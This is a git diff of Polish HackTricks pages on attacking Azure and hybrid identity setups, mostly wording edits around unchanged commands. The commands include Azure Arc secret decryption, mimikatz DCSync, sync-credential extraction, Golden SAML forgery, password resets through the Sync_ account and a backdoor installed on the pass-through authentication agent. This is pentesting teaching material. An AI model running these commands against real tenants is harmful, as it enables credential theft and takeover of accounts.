||||
Get-UpdatableGroups -Tokens $tokens
|
||||
|
||||
#Finds dynamic groups and displays membership rules
|
||||
Get-DynamicGroups -Tokens $tokens
|
||||
|
||||
#Gets a list of SharePoint site URLs visible to the current user
|
||||
Get-SharePointSiteURLs -Tokens $tokens
|
||||
|
||||
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
|
||||
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
|
||||
|
||||
#This module attempts to gather a tenant ID associated with a domain.
|
||||
Get-TenantID -Domain
|
||||
|
||||
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
|
||||
Invoke-GraphRunner -Tokens $tokens
|
||||
```
|
||||
### [Stormspotter](https://github.com/Azure/Stormspotter)
|
||||
|
||||
Stormspotter tworzy "graf ataku" zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku oraz możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty.
|
||||
|
||||
**Niestety, wygląda na to, że nie jest utrzymywany**.
|
||||
```bash
|
||||
# Start Backend
|
||||
cd stormspotter\backend\
|
||||
pipenv shell
|
||||
python ssbackend.pyz
|
||||
|
||||
# Start Front-end
|
||||
cd stormspotter\frontend\dist\spa\
|
||||
quasar.cmd serve -p 9091 --history
|
||||
|
||||
# Run Stormcollector
|
||||
cd stormspotter\stormcollector\
|
||||
pipenv shell
|
||||
az login -u test@corp.onmicrosoft.com -p Welcome2022!
|
||||
python stormspotter\stormcollector\sscollector.pyz cli
|
||||
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
+10
-10
@@ -4,17 +4,17 @@
|
||||
|
||||
### Identyfikacja problemów
|
||||
|
||||
Azure Arc umożliwia integrację nowych serwerów wewnętrznych (serwery dołączone do domeny) z Azure Arc za pomocą metody Group Policy Object. Aby to ułatwić, Microsoft udostępnia zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury onboardingu. W pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 oraz AzureArcDeployment.psm1.
|
||||
Azure Arc umożliwia integrację nowych serwerów wewnętrznych (serwery dołączone do domeny) z Azure Arc za pomocą metody obiektu zasad grupy. Aby to ułatwić, Microsoft udostępnia zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury onboardingu. W pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 oraz AzureArcDeployment.psm1.
|
||||
|
||||
Po uruchomieniu skrypt DeployGPO.ps1 wykonuje następujące czynności:
|
||||
|
||||
1. Tworzy GPO Onboarding Serwerów Azure Arc w lokalnej domenie.
|
||||
1. Tworzy GPO onboardingu serwerów Azure Arc w lokalnej domenie.
|
||||
2. Kopiuje skrypt onboardingu EnableAzureArc.ps1 do wyznaczonego udziału sieciowego utworzonego na potrzeby procesu onboardingu, który zawiera również pakiet instalacyjny Windows.
|
||||
|
||||
Podczas uruchamiania tego skryptu, administratorzy systemów muszą podać dwa główne parametry: **ServicePrincipalId** oraz **ServicePrincipalClientSecret**. Dodatkowo wymagane są inne parametry, takie jak domena, FQDN serwera hostującego udział oraz nazwa udziału. Dalsze szczegóły, takie jak identyfikator najemcy, grupa zasobów i inne niezbędne informacje, muszą być również dostarczone do skryptu.
|
||||
|
||||
Szyfrowany sekret jest generowany w katalogu AzureArcDeploy na określonym udziale przy użyciu szyfrowania DPAPI-NG. Szyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest wykonywane przez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako wejściami. Deskryptor składa się z SID-ów grup Komputerów Domenowych i Kontrolerów Domeny, co zapewnia, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń Kontrolerów Domeny i Komputerów Domenowych, jak zauważono w komentarzach skryptu.
|
||||
```powershell
|
||||
W katalogu AzureArcDeploy na określonym udziale generowany jest zaszyfrowany sekret przy użyciu szyfrowania DPAPI-NG. Zaszyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest realizowane przez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako wejściami. Deskriptor składa się z SID-ów grupy komputerów domenowych i kontrolerów domeny, co zapewnia, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń kontrolerów domeny i komputerów domenowych, jak zauważono w komentarzach skryptu.
|
||||
```bash
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
$DomainControllersSID = "SID=" + $DomainControllersSID
|
||||
@@ -31,20 +31,20 @@ Mamy następujące warunki:
|
||||
3. Odkryliśmy udział sieciowy zawierający katalog AzureArcDeploy.
|
||||
|
||||
Istnieje kilka metod uzyskania konta maszyny w środowisku AD. Jedną z najczęstszych jest wykorzystanie kwoty konta maszyny. Inną metodą jest kompromitacja konta maszyny poprzez podatne ACL lub różne inne błędne konfiguracje.
|
||||
```powershell
|
||||
```bash
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
Gdy konto maszyny zostanie uzyskane, możliwe jest uwierzytelnienie się za pomocą tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub użyć pass-the-ticket z Rubeus.exe.
|
||||
```powershell
|
||||
Po uzyskaniu konta maszyny możliwe jest uwierzytelnienie się za pomocą tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub użyć pass-the-ticket z Rubeus.exe.
|
||||
```bash
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
|
||||
```
|
||||
Mając TGT dla naszego konta komputerowego przechowywanego w pamięci, możemy użyć następującego skryptu do odszyfrowania sekretu głównego usługi.
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module .\AzureArcDeployment.psm1
|
||||
|
||||
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
|
||||
@@ -54,7 +54,7 @@ $ebs
|
||||
```
|
||||
Alternatywnie, możemy użyć [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
|
||||
|
||||
Na tym etapie możemy zebrać pozostałe informacje potrzebne do połączenia z Azure z pliku ArcInfo.json, który jest przechowywany w tym samym udostępnionym zasobie sieciowym co plik encryptedServicePrincipalSecret. Plik ten zawiera szczegóły takie jak: TenantId, servicePrincipalClientId, ResourceGroup i inne. Z tymi informacjami możemy użyć Azure CLI do uwierzytelnienia się jako skompromitowany service principal.
|
||||
W tym momencie możemy zebrać pozostałe informacje potrzebne do połączenia z Azure z pliku ArcInfo.json, który jest przechowywany w tym samym udostępnionym zasobie sieciowym co plik encryptedServicePrincipalSecret. Plik ten zawiera szczegóły takie jak: TenantId, servicePrincipalClientId, ResourceGroup i inne. Z tymi informacjami możemy użyć Azure CLI do uwierzytelnienia się jako skompromitowany service principal.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+3
-3
@@ -43,16 +43,16 @@ az-cloud-kerberos-trust.md
|
||||
{{#endref}}
|
||||
|
||||
- **Default Applications**:
|
||||
- Kompromitacja konta Administratora Aplikacji lub lokalnego Konta Synchronizacji pozwala na modyfikację ustawień katalogu, członkostwa w grupach, kont użytkowników, witryn SharePoint i plików OneDrive.
|
||||
- Kompromitacja konta Administratora Aplikacji lub lokalnego Konta Synchronizacji pozwala na modyfikację ustawień katalogu, członkostw w grupach, kont użytkowników, witryn SharePoint i plików OneDrive.
|
||||
|
||||
{{#ref}}
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
Dla każdej metody integracji przeprowadzana jest synchronizacja użytkowników, a konto `MSOL_<installationidentifier>` jest tworzone w lokalnym AD. Warto zauważyć, że zarówno metody **PHS**, jak i **PTA** ułatwiają **Seamless SSO**, umożliwiając automatyczne logowanie dla komputerów Azure AD dołączonych do lokalnej domeny.
|
||||
Dla każdej metody integracji przeprowadzana jest synchronizacja użytkowników, a w lokalnym AD tworzony jest konto `MSOL_<installationidentifier>`. Należy zauważyć, że zarówno metody **PHS**, jak i **PTA** ułatwiają **Seamless SSO**, umożliwiając automatyczne logowanie dla komputerów Azure AD dołączonych do lokalnej domeny.
|
||||
|
||||
Aby zweryfikować instalację **Azure AD Connect**, można użyć następującego polecenia PowerShell, wykorzystującego moduł **AzureADConnectHealthSync** (zainstalowany domyślnie z Azure AD Connect):
|
||||
```powershell
|
||||
```bash
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
-2
@@ -4,12 +4,12 @@
|
||||
|
||||
## Synchronizacja użytkowników AzureAD z on-prem w celu eskalacji z on-prem do AzureAD
|
||||
|
||||
Aby zsynchronizować nowego użytkownika **z AzureAD do on-prem AD**, należy spełnić następujące wymagania:
|
||||
Aby zsynchronizować nowego użytkownika **z AzureAD do on-prem AD**, wymagane są następujące warunki:
|
||||
|
||||
- Użytkownik **AzureAD** musi mieć adres proxy (**skrzynkę pocztową**)
|
||||
- Licencja nie jest wymagana
|
||||
- Nie powinien **być już zsynchronizowany**
|
||||
```powershell
|
||||
```bash
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
Kiedy użytkownik taki jak ten zostanie znaleziony w AzureAD, aby **uzyskać do niego dostęp z on-prem AD**, wystarczy **utworzyć nowe konto** z **proxyAddress** jako SMTP email.
|
||||
|
||||
+13
-13
@@ -24,10 +24,10 @@ W każdej konfiguracji federacji są trzy strony:
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Początkowo aplikacja (Dostawca usług lub SP, taka jak konsola AWS lub klient sieciowy vSphere) jest dostępna dla użytkownika. Ten krok może być pominięty, prowadząc klienta bezpośrednio do IdP (Dostawca tożsamości) w zależności od konkretnej implementacji.
|
||||
2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelniania użytkownika. Następnie tworzy żądanie SAML (Security Assertion Markup Language) AuthnRequest i przekierowuje klienta do wybranego IdP.
|
||||
1. Początkowo aplikacja (Dostawca usług lub SP, taka jak konsola AWS lub klient webowy vSphere) jest dostępna dla użytkownika. Ten krok może być pominięty, prowadząc klienta bezpośrednio do IdP (Dostawca tożsamości) w zależności od konkretnej implementacji.
|
||||
2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelniania użytkownika. Następnie tworzy żądanie AuthnRequest SAML (Security Assertion Markup Language) i przekierowuje klienta do wybranego IdP.
|
||||
3. IdP przejmuje, uwierzytelniając użytkownika. Po uwierzytelnieniu, IdP formułuje SAMLResponse i przesyła go do SP przez użytkownika.
|
||||
4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To oznacza zakończenie procesu logowania, umożliwiając użytkownikowi korzystanie z usługi.
|
||||
4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To kończy proces logowania, umożliwiając użytkownikowi korzystanie z usługi.
|
||||
|
||||
**Jeśli chcesz dowiedzieć się więcej o uwierzytelnianiu SAML i powszechnych atakach, przejdź do:**
|
||||
|
||||
@@ -38,7 +38,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
## Pivoting
|
||||
|
||||
- AD FS to model tożsamości oparty na roszczeniach.
|
||||
- "..roszczenia to po prostu stwierdzenia (na przykład, imię, tożsamość, grupa), które są składane o użytkownikach, a które są używane głównie do autoryzacji dostępu do aplikacji opartych na roszczeniach znajdujących się wszędzie w Internecie."
|
||||
- "..roszczenia to po prostu stwierdzenia (na przykład, imię, tożsamość, grupa), które są składane o użytkownikach i są używane głównie do autoryzacji dostępu do aplikacji opartych na roszczeniach znajdujących się wszędzie w Internecie."
|
||||
- Roszczenia dla użytkownika są zapisane w tokenach SAML i są następnie podpisywane, aby zapewnić poufność przez IdP.
|
||||
- Użytkownik jest identyfikowany przez ImmutableID. Jest on globalnie unikalny i przechowywany w Azure AD.
|
||||
- ImmutableID jest przechowywany lokalnie jako ms-DS-ConsistencyGuid dla użytkownika i/lub może być wyprowadzony z GUID użytkownika.
|
||||
@@ -46,17 +46,17 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
**Atak Golden SAML:**
|
||||
|
||||
- W ADFS, SAML Response jest podpisywany przez certyfikat podpisywania tokenów.
|
||||
- W ADFS, odpowiedź SAML jest podpisywana przez certyfikat podpisywania tokenów.
|
||||
- Jeśli certyfikat zostanie skompromitowany, możliwe jest uwierzytelnienie do Azure AD jako DOWOLNY użytkownik zsynchronizowany z Azure AD!
|
||||
- Tak jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego wpływu, ponieważ fałszujemy odpowiedź uwierzytelniającą.
|
||||
- Certyfikat można wyodrębnić z serwera AD FS z uprawnieniami DA, a następnie można go używać z dowolnej maszyny podłączonej do internetu.
|
||||
- Certyfikat można wyodrębnić z serwera AD FS z uprawnieniami DA, a następnie można go używać z dowolnej maszyny podłączonej do Internetu.
|
||||
- Więcej informacji w [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
|
||||
Proces, w którym **Dostawca tożsamości (IdP)** produkuje **SAMLResponse** w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, **odpowiedź** może być **podpisana** lub **szyfrowana** przy użyciu **prywatnego klucza IdP**. Procedura ta umożliwia **Dostawcy usług (SP)** potwierdzenie autentyczności SAMLResponse, zapewniając, że rzeczywiście została wydana przez zaufany IdP.
|
||||
|
||||
Można to porównać do [ataku złotego biletu](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gdzie klucz uwierzytelniający tożsamość i uprawnienia użytkownika (KRBTGT dla złotych biletów, prywatny klucz podpisywania tokenów dla złotego SAML) może być manipulowany w celu **fałszowania obiektu uwierzytelniającego** (TGT lub SAMLResponse). To pozwala na podszywanie się pod dowolnego użytkownika, przyznając nieautoryzowany dostęp do SP.
|
||||
Można to porównać z [atakiem na złoty bilet](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gdzie klucz uwierzytelniający tożsamość i uprawnienia użytkownika (KRBTGT dla złotych biletów, prywatny klucz podpisywania tokenów dla złotego SAML) może być manipulowany w celu **fałszowania obiektu uwierzytelniającego** (TGT lub SAMLResponse). To pozwala na podszywanie się pod dowolnego użytkownika, przyznając nieautoryzowany dostęp do SP.
|
||||
|
||||
Złote SAML oferują pewne zalety:
|
||||
|
||||
@@ -69,9 +69,9 @@ Złote SAML oferują pewne zalety:
|
||||
|
||||
[Usługi federacji Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) to usługa Microsoftu, która ułatwia **bezpieczną wymianę informacji o tożsamości** między zaufanymi partnerami biznesowymi (federacja). W zasadzie pozwala usłudze domeny na dzielenie się tożsamościami użytkowników z innymi dostawcami usług w ramach federacji.
|
||||
|
||||
Gdy AWS ufa skompromitowanej domenie (w federacji), ta luka może być wykorzystana do potencjalnego **uzyskania dowolnych uprawnień w środowisku AWS**. Atak wymaga **prywatnego klucza używanego do podpisywania obiektów SAML**, podobnie jak w przypadku potrzeby KRBTGT w ataku złotego biletu. Dostęp do konta użytkownika AD FS jest wystarczający, aby uzyskać ten prywatny klucz.
|
||||
Z AWS ufającym skompromitowanej domenie (w federacji), ta luka może być wykorzystana do potencjalnego **zdobycia dowolnych uprawnień w środowisku AWS**. Atak wymaga **prywatnego klucza używanego do podpisywania obiektów SAML**, podobnie jak w przypadku potrzeby KRBTGT w ataku na złoty bilet. Dostęp do konta użytkownika AD FS jest wystarczający, aby uzyskać ten prywatny klucz.
|
||||
|
||||
Wymagania do przeprowadzenia ataku złotego SAML obejmują:
|
||||
Wymagania do przeprowadzenia ataku Golden SAML obejmują:
|
||||
|
||||
- **Prywatny klucz podpisywania tokenów**
|
||||
- **Publiczny certyfikat IdP**
|
||||
@@ -83,8 +83,8 @@ Wymagania do przeprowadzenia ataku złotego SAML obejmują:
|
||||
|
||||
_Tylko elementy pogrubione są obowiązkowe. Pozostałe można wypełnić według uznania._
|
||||
|
||||
Aby uzyskać **prywatny klucz**, konieczny jest dostęp do **konta użytkownika AD FS**. Stamtąd prywatny klucz można **wyeksportować z osobistego magazynu** za pomocą narzędzi takich jak [mimikatz](https://github.com/gentilkiwi/mimikatz). Aby zebrać inne wymagane informacje, możesz wykorzystać snapin Microsoft.Adfs.Powershell w następujący sposób, upewniając się, że jesteś zalogowany jako użytkownik ADFS:
|
||||
```powershell
|
||||
Aby uzyskać **prywatny klucz**, konieczny jest dostęp do **konta użytkownika AD FS**. Stamtąd prywatny klucz można **wyeksportować z osobistego magazynu** za pomocą narzędzi takich jak [mimikatz](https://github.com/gentilkiwi/mimikatz). Aby zebrać inne wymagane informacje, można wykorzystać snapin Microsoft.Adfs.Powershell w następujący sposób, upewniając się, że jesteś zalogowany jako użytkownik ADFS:
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
|
||||
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### On-prem -> chmura
|
||||
```powershell
|
||||
```bash
|
||||
# With a domain user you can get the ImmutableID of the target user
|
||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||
|
||||
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
Możliwe jest również utworzenie ImmutableID użytkowników tylko w chmurze i ich podszywanie się.
|
||||
```powershell
|
||||
```bash
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
|
||||
|
||||
+12
-12
@@ -4,24 +4,24 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Synchronizacja haszy haseł** jest jedną z metod logowania używanych do realizacji tożsamości hybrydowej. **Azure AD Connect** synchronizuje hash, hasza, hasła użytkownika z lokalnej instancji Active Directory do opartej na chmurze instancji Azure AD.
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Synchronizacja haszy haseł** jest jedną z metod logowania używanych do realizacji hybrydowej tożsamości. **Azure AD Connect** synchronizuje hash, hasha, hasła użytkownika z lokalnej instancji Active Directory do opartej na chmurze instancji Azure AD.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To **najczęściej stosowana metoda** używana przez firmy do synchronizacji lokalnego AD z Azure AD.
|
||||
|
||||
Wszystkie **użytkownicy** oraz **hash haseł** są synchronizowane z lokalnego AD do Azure AD. Jednak **hasła w postaci czystego tekstu** ani **oryginalne** **hasze** nie są wysyłane do Azure AD.\
|
||||
Ponadto, **Wbudowane** grupy zabezpieczeń (jak administratorzy domeny...) **nie są synchronizowane** z Azure AD.
|
||||
Wszystkie **użytkownicy** oraz **hash haseł** są synchronizowane z lokalnego AD do Azure AD. Jednak **hasła w postaci czystego tekstu** ani **oryginalne** **hashe** nie są wysyłane do Azure AD.\
|
||||
Ponadto, **wbudowane** grupy zabezpieczeń (jak administratorzy domeny...) **nie są synchronizowane** z Azure AD.
|
||||
|
||||
**Synchronizacja haszy** odbywa się co **2 minuty**. Jednak domyślnie **wygasanie haseł** i **wygasanie kont** **nie są synchronizowane** w Azure AD. Tak więc użytkownik, którego **lokalne hasło wygasło** (nie zostało zmienione), może nadal **uzyskiwać dostęp do zasobów Azure** za pomocą starego hasła.
|
||||
**Synchronizacja hashy** odbywa się co **2 minuty**. Jednak domyślnie **wygasanie haseł** i **wygasanie kont** **nie są synchronizowane** w Azure AD. Tak więc użytkownik, którego **lokalne hasło wygasło** (nie zostało zmienione), może nadal **uzyskiwać dostęp do zasobów Azure** za pomocą starego hasła.
|
||||
|
||||
Gdy lokalny użytkownik chce uzyskać dostęp do zasobu Azure, **uwierzytelnienie odbywa się w Azure AD**.
|
||||
|
||||
**PHS** jest wymagany dla funkcji takich jak **Ochrona tożsamości** i usługi domenowe AAD.
|
||||
**PHS** jest wymagane dla funkcji takich jak **Ochrona tożsamości** i usługi domenowe AAD.
|
||||
|
||||
## Pivoting
|
||||
|
||||
Gdy PHS jest skonfigurowany, niektóre **uprzywilejowane konta** są automatycznie **tworzone**:
|
||||
Gdy PHS jest skonfigurowane, niektóre **uprzywilejowane konta** są automatycznie **tworzone**:
|
||||
|
||||
- Konto **`MSOL_<installationID>`** jest automatycznie tworzone w lokalnym AD. To konto otrzymuje rolę **Konta synchronizacji katalogu** (zobacz [dokumentację](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), co oznacza, że ma **uprawnienia replikacji (DCSync) w lokalnym AD**.
|
||||
- Konto **`Sync_<nazwa lokalnego serwera ADConnect>_installationID`** jest tworzone w Azure AD. To konto może **resetować hasło DOWOLNEGO użytkownika** (synchronizowanego lub tylko w chmurze) w Azure AD.
|
||||
@@ -33,14 +33,14 @@ Możliwe jest wydobycie konfiguracji z jednej z tabel, z których jedna jest zas
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**Zaszyfrowana konfiguracja** jest zaszyfrowana za pomocą **DPAPI** i zawiera **hasła użytkowników `MSOL_*`** w lokalnym AD oraz hasło **Sync\_\*** w AzureAD. Dlatego kompromitacja tych danych umożliwia podniesienie uprawnień do AD i AzureAD.
|
||||
**Zaszyfrowana konfiguracja** jest szyfrowana za pomocą **DPAPI** i zawiera **hasła użytkownika `MSOL_*`** w lokalnym AD oraz hasło **Sync\_\*** w AzureAD. Dlatego kompromitując te dane, możliwe jest uzyskanie podwyższonych uprawnień do AD i AzureAD.
|
||||
|
||||
Możesz znaleźć [pełny przegląd tego, jak te poświadczenia są przechowywane i odszyfrowywane w tej prezentacji](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Znalezienie **serwera Azure AD connect**
|
||||
|
||||
Jeśli **serwer, na którym zainstalowano Azure AD connect** jest dołączony do domeny (zalecane w dokumentacji), można go znaleźć za pomocą:
|
||||
```powershell
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
@@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### Wykorzystywanie MSOL\_\*
|
||||
```powershell
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
@@ -56,13 +56,13 @@ Get-AADIntSyncCredentials
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> [!OSTRZEŻENIE]
|
||||
> Możesz również użyć [**adconnectdump**](https://github.com/dirkjanm/adconnectdump), aby uzyskać te poświadczenia.
|
||||
|
||||
### Wykorzystywanie Sync\_\*
|
||||
|
||||
Kompromitując konto **`Sync_*`**, możliwe jest **zresetowanie hasła** dowolnego użytkownika (w tym Globalnych Administratorów)
|
||||
```powershell
|
||||
```bash
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
@@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Możliwe jest również **zmienienie haseł tylko użytkowników chmurowych** (nawet jeśli to nieoczekiwane)
|
||||
```powershell
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
+8
-8
@@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication pozwala użytkownikom na **logowanie się zarówno do aplikacji lokalnych, jak i opartych na chmurze, używając tych samych haseł**. Ta funkcja zapewnia lepsze doświadczenie użytkowników - jedno mniej hasło do zapamiętania, a także zmniejsza koszty pomocy IT, ponieważ użytkownicy rzadziej zapominają, jak się zalogować. Gdy użytkownicy logują się za pomocą Azure AD, ta funkcja **waliduje hasła użytkowników bezpośrednio w lokalnym Active Directory**.
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication pozwala użytkownikom na **logowanie się zarówno do aplikacji lokalnych, jak i opartych na chmurze, używając tych samych haseł**. Ta funkcja zapewnia lepsze doświadczenie użytkowników - jedno mniej hasło do zapamiętania, a także zmniejsza koszty pomocy technicznej IT, ponieważ użytkownicy rzadziej zapominają, jak się zalogować. Gdy użytkownicy logują się za pomocą Azure AD, ta funkcja **waliduje hasła użytkowników bezpośrednio w lokalnym Active Directory**.
|
||||
|
||||
W PTA **tożsamości** są **synchronizowane**, ale **hasła** **nie są** jak w PHS.
|
||||
|
||||
@@ -14,9 +14,9 @@ Autoryzacja jest walidowana w lokalnym AD, a komunikacja z chmurą odbywa się z
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Aby **zalogować się**, użytkownik jest przekierowywany do **Azure AD**, gdzie wysyła **nazwa użytkownika** i **hasło**
|
||||
2. **Dane uwierzytelniające** są **szyfrowane** i umieszczane w **kolejce** w Azure AD
|
||||
3. **Lokalny agent autoryzacji** zbiera **dane uwierzytelniające** z kolejki i je **odszyfrowuje**. Ten agent nazywa się **"agentem autoryzacji przechodniej"** lub **agentem PTA.**
|
||||
1. Aby **zalogować się**, użytkownik jest przekierowywany do **Azure AD**, gdzie wysyła **nazwę użytkownika** i **hasło**.
|
||||
2. **Dane uwierzytelniające** są **szyfrowane** i umieszczane w **kolejce** w Azure AD.
|
||||
3. **Lokalny agent autoryzacji** zbiera **dane uwierzytelniające** z kolejki i je **odszyfrowuje**. Ten agent nazywa się **"agentem autoryzacji przechodzącej"** lub **agentem PTA.**
|
||||
4. **Agent** **waliduje** dane uwierzytelniające w **lokalnym AD** i wysyła **odpowiedź** **z powrotem** do Azure AD, która, jeśli odpowiedź jest pozytywna, **kończy logowanie** użytkownika.
|
||||
|
||||
> [!WARNING]
|
||||
@@ -26,14 +26,14 @@ Autoryzacja jest walidowana w lokalnym AD, a komunikacja z chmurą odbywa się z
|
||||
### On-Prem -> chmura
|
||||
|
||||
Jeśli masz **dostęp administratora** do **serwera Azure AD Connect** z działającym **agentem PTA**, możesz użyć modułu **AADInternals**, aby **wstawić tylne drzwi**, które **zwalidują WSZYSTKIE hasła** wprowadzone (więc wszystkie hasła będą ważne do autoryzacji):
|
||||
```powershell
|
||||
```bash
|
||||
Install-AADIntPTASpy
|
||||
```
|
||||
> [!NOTE]
|
||||
